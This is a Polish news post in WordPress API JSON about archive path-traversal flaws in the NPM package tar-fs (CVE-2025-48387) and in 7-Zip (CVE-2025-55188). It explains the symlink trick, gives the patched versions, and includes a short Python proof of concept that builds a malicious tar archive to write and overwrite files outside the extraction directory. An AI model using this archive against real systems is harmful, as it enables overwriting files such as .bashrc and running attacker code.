{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Luki w tar-fs i 7-Zip, umo\u017cliwiaj\u0105ce zapisanie plik\u00f3w poza podstawowym katalogiem","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

W pakiecie NPM tar-fs zidentyfikowano luk\u0119 (CVE-2025-48387), kt\u00f3ra umo\u017cliwia zapisywanie plik\u00f3w w dowolnych cz\u0119\u015bciach systemu plik\u00f3w podczas rozpakowywania specjalnie przygotowanego archiwum tar, bez ogranicze\u0144 do katalogu, do kt\u00f3rego nast\u0119puje rozpakowywanie (w granicach uprawnie\u0144 bie\u017c\u0105cego u\u017cytkownika). Luka ta mo\u017ce by\u0107 r\u00f3wnie\u017c wykorzystana do nadpisywania istniej\u0105cych plik\u00f3w, na przyk\u0142ad pliki «.ssh\/id_rsa» lub «.bashrc» w domowym katalogu u\u017cytkownika mog\u0105 by\u0107 nadpisywane w celu wykonania w\u0142asnego kodu w systemie. <\/p>\n

Problemowi przypisano krytyczny poziom niebezpiecze\u0144stwa, bior\u0105c pod uwag\u0119, \u017ce pakiet tar-fs ma 23 miliony pobra\u0144 tygodniowo i jest u\u017cywany jako zale\u017cno\u015b\u0107 w 1155 projektach. Podatno\u015b\u0107 zosta\u0142a usuni\u0119ta w wydaniach 3.0.9, 2.1.3 i 1.16.5, kt\u00f3re zosta\u0142y wydane w maju, ale informacja o podatno\u015bci zosta\u0142a ujawniona dopiero po prawie 3 miesi\u0105cach. <\/p>\n

Luka wynika z niewystarczaj\u0105cych kontroli istniej\u0105cych w archiwum link\u00f3w symbolicznych i twardych, aby upewni\u0107 si\u0119, \u017ce nie wychodz\u0105 one poza docelowy katalog dla rozpakowywania. Do obej\u015bcia tych kontrol u\u017cywane s\u0105 dwa linki symboliczne: pierwszy wskazuje na katalog g\u0142\u00f3wny rozpakowywania archiwum («.»), a drugi jest tworzony wzgl\u0119dnie do pierwszego linku symbolicznego i wykorzystuje w nazwie znaki «..» do wychodzenia poza podstawowy katalog. Na przyk\u0142ad pierwszy link «noop\/noop\/noop» wskazuje na «.», a drugi «noop\/noop\/noop\/..\/\/..\/\/..» zostanie rozwini\u0119ty jako «.\/..\/\/..\/\/..». Aby zorganizowa\u0107 nadpisywanie plik\u00f3w w archiwum, mo\u017ce by\u0107 utworzony link twardy wskazuj\u0105cy na zewn\u0119trzny plik wzgl\u0119dem drugiego linku symbolicznego.\n import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Podobna luka (CVE-2025-55188) zosta\u0142a zidentyfikowana w archiwizerze 7-Zip. Do zapisywania plik\u00f3w poza podstawowym katalogiem w 7-Zip mog\u0105 by\u0107 r\u00f3wnie\u017c u\u017cywane linki symboliczne, kt\u00f3re zawieraj\u0105 sekwencj\u0119 «..» w \u015bcie\u017cce pliku. Problem mo\u017ce by\u0107 wykorzystywany podczas rozpakowywania wszelkich archiw\u00f3w wspieraj\u0105cych linki symboliczne, takich jak zip, tar, 7z i rar. Problem ten zosta\u0142 naprawiony w wersji 7-Zip 25.01.
\n
\u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 (\u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b «.ssh\/id_rsa» \u0438\u043b\u0438 «.bashrc» \u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-140951","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Luki w tar-fs i 7-Zip, kt\u00f3re pozwalaj\u0105 na zapisanie plik\u00f3w poza katalogiem podstawowym | ProHoster","description":"W pakiecie NPM tar-fs wykryto luk\u0119 (CVE-2025-48387), kt\u00f3ra umo\u017cliwia podczas rozpakowywania specjalnie przygotowanego archiwum tar zapisanie plik\u00f3w w dowolnej cz\u0119\u015bci systemu plik\u00f3w, bez ogranicze\u0144 do katalogu, do kt\u00f3rego nast\u0119puje rozpakowywanie.","canonical_url":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pl_PL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 tar-fs \u0438 7-Zip, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 | ProHoster","og:description":"\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430.","og:url":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-08-18T09:12:07+00:00","article:modified_time":"2025-08-18T09:12:07+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"140951","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 14:20:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 14:20:20","updated":"2026-01-23 14:20:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/140951","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/comments?post=140951"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/140951\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media?parent=140951"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/categories?post=140951"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/tags?post=140951"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}